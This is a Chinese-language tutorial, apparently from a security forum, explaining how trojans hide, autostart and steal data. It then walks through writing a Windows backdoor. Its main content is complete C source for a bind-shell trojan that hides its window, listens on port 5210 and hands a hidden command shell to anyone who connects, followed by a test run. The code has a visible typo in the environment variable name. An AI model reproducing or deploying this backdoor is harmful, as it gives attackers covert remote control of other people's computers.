前言
前面我们已经学习了病毒免杀技术的特征码免杀了,但是木马大家是不是感觉还是很神秘呢,接下来就让我为大家揭开木马的神秘面纱。
一、基础知识
1.1、木马病毒
木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
木马会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的办法。只要把Form的Visible属性设为False,ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,黑客当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载。Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、Win.ini、System.ini、注册表等都是“木马”藏身的好地方。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。
1.2、木马程序原理
木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。
1.3、一般木马种类
密码发送型木马
密码发送型木马可以在受害者不知道的情况下把找到的所有隐藏密码发送到指定的信箱,从而达到获取密码的目的,这类木马大多使用25端口发送E-mail。
键盘记录型木马
键盘记录型木马主要用来记录受害者的键盘敲击记录,这类木马有在线和离线记录两个选项,分别记录对方在线和离线状态下敲击键盘时的按键情况。
破坏性木马
顾名思义,破坏性木马唯一的功能就是破坏感染木马的计算机文件系统,使其遭受系统崩溃或者重要数据丢失的巨大损失。
代理木马
代理木马最重要的任务是给被控制的“肉鸡”种上代理木马,让其变成攻击者发动攻击的调版。通过这类木马,攻击者可以在匿名情况下使用Tenlet、ICO、IRC等程序,从而在入侵的同时隐蔽自己的足迹,谨防别人发现及自己的身份。
FTP木马
FTP木马的唯一功能就是打开21端口并等待用户连接,新FTP木马还加上了密码功能,这样只有攻击者本人知道正确的密码,从而进入对方的计算机。
反弹端口型木马
反弹端口型木马的服务端(被控制端)使用主动端口,客户端(控制端)使用被动端口,正好与一般木马相反,木马定时检测控制端的存在,发现控制端上线立刻弹出主动连接领控制端打开的端口。
1.4、常见的技术
对于普通人来说,木马可谓是高深莫测,难以理解,下面就列举常用到的编程技术,揭开木马的神秘面纱
修改注册表技术
多线程技术
后台监控技术
定时触发技术
二、木马编写实战
首先我们来新建一个工程
写程序的时候我们需要想一下要实现那些功能,写木马同样一样,首先我准备写一个后门型木马,主要的功能就是给我们开一个端口,让我们使用Telnet命令连接上去,从而控制目标计算机,作为木马,我们当然还需要隐藏自己。
代码如下:
#pragma comment(lib,"ws2_32.lib") //这里我们静态加入一个lib文件,也就是ws2_32.lib</font> #pragma comment(linker,"/subsystem:"windows"/entry:"mainCRTStartup"") //设置连接器选项 #include <winsock2.h> //包含头文件winsock2.h,这个是 windows socket的头文件 #include <windows.h> //常用的,不解释 #define MasterPort 5210 //定义一个常量,也就是我们后面要打开的端口 main() //主函数不解释 { WSADATA WSADa; //这个结构被用来存储被WSAStartup函数调用后返回的Windows Sockets数据。后面的基本上差不多就不解释,不懂请大家自行百度 sockaddr_in SockAddrIn; SOCKET CSocket,SSocket; int iAddrSize; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255];
//分配内存,初始化数据 ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO)); ZeroMemory(&WSADa,sizeof(WSADATA)); //获取cmd路径 GetEnvironmentVariable("COMSPEG",szCMDPath,sizeof(szCMDPath)); //加载ws2_32.dll WSAStartup(0x0202,&WSADa); //设置本地信息和绑定协议,建立socket,代码如下: SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr.s_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //设置绑定端口999 bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //设置服务器端监听端口 listen(CSocket,1); iAddrSize = sizeof(SockAddrIn); //开始连接远程服务器,并配置隐藏窗口结构体 SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket; StartupInfo.hStdError = (HANDLE)SSocket; //创建匿名管道: CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess, INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //关闭进程句柄: closesocket(CSocket); closesocket(SSocket); WSACleanup(); //关闭连接卸载ws2_32.dll return 0; }
建立CSocket开始,然后绑定端口5210,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,系统重启这个木马就会被清除了。因为你并没有添加进系统启动项,隐藏进程。这个涉及的技术比较复杂,以后讲解。
接下来我们就将编译好的木马放在测试机上进行测试
可以发现运行程序并没有什么事情发生,但是程序已经在默默的在运行了,而且打开了我们的5210端口。
我们用另一台机器连接看看
可以发现我们成功连接到测试机
由于没有进程隐藏,所以我们可以轻易发现木马的进程。
终止就ok啦。
谢谢观看
相关链接:http://bbs.ichunqiu.com/thread-6935-1-1.html
感谢您的阅读,如果您学到了,请点赞(码字不易)!
欢迎热心园友补充!